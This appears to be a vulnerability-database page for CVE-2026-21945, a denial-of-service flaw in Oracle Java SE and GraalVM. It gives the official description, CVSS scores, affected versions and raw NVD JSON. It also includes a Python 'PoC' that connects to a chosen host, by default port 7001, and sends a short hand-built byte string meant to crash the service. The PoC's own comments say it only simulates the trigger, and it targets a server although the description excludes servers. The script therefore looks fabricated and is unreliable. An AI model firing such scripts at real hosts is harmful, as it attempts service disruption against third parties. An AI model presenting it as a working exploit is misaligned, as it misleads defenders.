Security Vulnerability Report
中文
CVE-2026-21945 CVSS 7.5 HIGH

CVE-2026-21945

Published: 2026-01-20 22:15:57
Last Modified: 2026-05-12 13:17:32

Description

Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:graalvm:21.3.16:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:oracle:graalvm_for_jdk:17.0.17:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:graalvm_for_jdk:21.0.9:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:jdk:1.8.0:update471:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:oracle:jdk:1.8.0:update471:*:*:enterprise_performance_pack:*:*:* - VULNERABLE
Oracle Java SE 8u471
Oracle Java SE 8u471-b50
Oracle Java SE 8u471-perf
Oracle Java SE 11.0.29
Oracle Java SE 17.0.17
Oracle Java SE 21.0.9
Oracle Java SE 25.0.1
Oracle GraalVM for JDK 17.0.17
Oracle GraalVM for JDK 21.0.9
Oracle GraalVM Enterprise Edition 21.3.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21945 PoC - Oracle Java SE Security Component DoS # This PoC demonstrates a potential denial of service condition # Note: Actual exploit requires specific trigger conditions import socket import ssl import struct def create_malicious_java_request(): """ Generate a malicious request targeting Java Security component This simulates the malformed security context that could trigger the DoS """ # Java Security protocol header header = b'\x00\x00\x00' # Protocol version # Malformed security context # This payload targets the Security component's exception handling malicious_payload = b'\xCA\xFE\xBA\xBE' # Java class file magic malicious_payload += b'\x00\x00' # Version info # Trigger security exception handling security_trigger = b'\x00\x0F' # Security context marker security_trigger += b'\x00\x00\x00\x00' # Padding security_trigger += b'\xFF\xFF\xFF\xFF' # Malformed reference malicious_payload += security_trigger return header + malicious_payload def exploit_cve_2026_21945(target_host, target_port=7001): """ Send malicious payload to trigger DoS condition Args: target_host: Target Oracle Java server hostname/IP target_port: Target port (default: 7001 for WebLogic) """ try: print(f"[*] Target: {target_host}:{target_port}") print(f"[*] Generating malicious payload for CVE-2026-21945...") payload = create_malicious_java_request() # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) print(f"[*] Connecting to target...") sock.connect((target_host, target_port)) print(f"[*] Sending malicious payload ({len(payload)} bytes)...") sock.send(payload) # Wait for response try: response = sock.recv(1024) print(f"[*] Received response: {len(response)} bytes") except socket.timeout: print("[+] No response received - target may be vulnerable!") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False def check_java_process_dos(): """ Monitor for Java process crash indicators """ print("[*] Monitoring for DoS indicators...") print("[*] Check for:") print(" - Java process termination") print(" - High CPU usage") print(" - Application hang") print(" - Crash logs in hs_err_*.log files") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_21945_poc.py <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 7001 print("=" * 60) print("CVE-2026-21945 - Oracle Java SE Security Component DoS PoC") print("=" * 60) exploit_cve_2026_21945(target, port) check_java_process_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21945", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:57.390", "lastModified": "2026-05-12T13:17:31.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Java SE, Oracle GraalVM para JDK, Oracle GraalVM Enterprise Edition de Oracle Java SE (componente: Seguridad). Las versiones compatibles afectadas son Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM para JDK: 17.0.17 y 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. La vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red a través de múltiples protocolos comprometer Oracle Java SE, Oracle GraalVM para JDK, Oracle GraalVM Enterprise Edition. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un bloqueo o una caída (crash) frecuentemente repetible (DoS completo) de Oracle Java SE, Oracle GraalVM para JDK, Oracle GraalVM Enterprise Edition. Nota: Esta vulnerabilidad se aplica a implementaciones de Java, típicamente en clientes que ejecutan aplicaciones Java Web Start en sandbox o applets Java en sandbox, que cargan y ejecutan código no confiable (por ejemplo, código que proviene de internet) y dependen del sandbox de Java para la seguridad. Esta vulnerabilidad no se aplica a implementaciones de Java, típicamente en servidores, que cargan y ejecutan solo código confiable (por ejemplo, código instalado por un administrador). Puntuación base CVSS 3.1 7.5 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:graalvm:21.3.16:*:*:*:enterprise:*:*:*", "matchCriteriaId": "625D4829-2E57-4C05-BEFE-CE30F6D16E9B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:graalvm_for_jdk:17.0.17:*:*:*:*:*:*:*", "matchCriteriaId": "AF0F6A0B-89BB-4851-9DF7-2A6C139DAF47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:graalvm_for_jdk:21.0.9:*:*:*:*:*:*:*", "matchCriteriaId": "FB4F8E6F-3B7D-49D8-8619-63B23F244AF4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:1.8.0:update471:*:*:-:*:*:*", "matchCriteriaId": "2905151E-7D6C-4E7C-A371-941EABBF6CC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:1.8.0:update471:*:*:enterprise_performance_pack:*:*:*", "matchCriteriaId": "A77BE683-07F2-4A1E-8B62-E104B4866DC3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:1.8.0:update471_b50:*:*:-:*:*:*", "matchCriteriaId": "3605CFE2-513B-4384-9617-6F4A86DFCEF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:11.0.29:*:*:*:*:*:*:*", "matchCriteriaId": "58D9D6AA-C17D-49FF-93B6-444FEC757A58"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:17.0.17:*:*:*:*:*:*:*", "matchCriteriaId": "D86D044A-6780-4DD9-85D1-B1EC64ACBF4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:jdk:21.0.9:*:*: ... (truncated)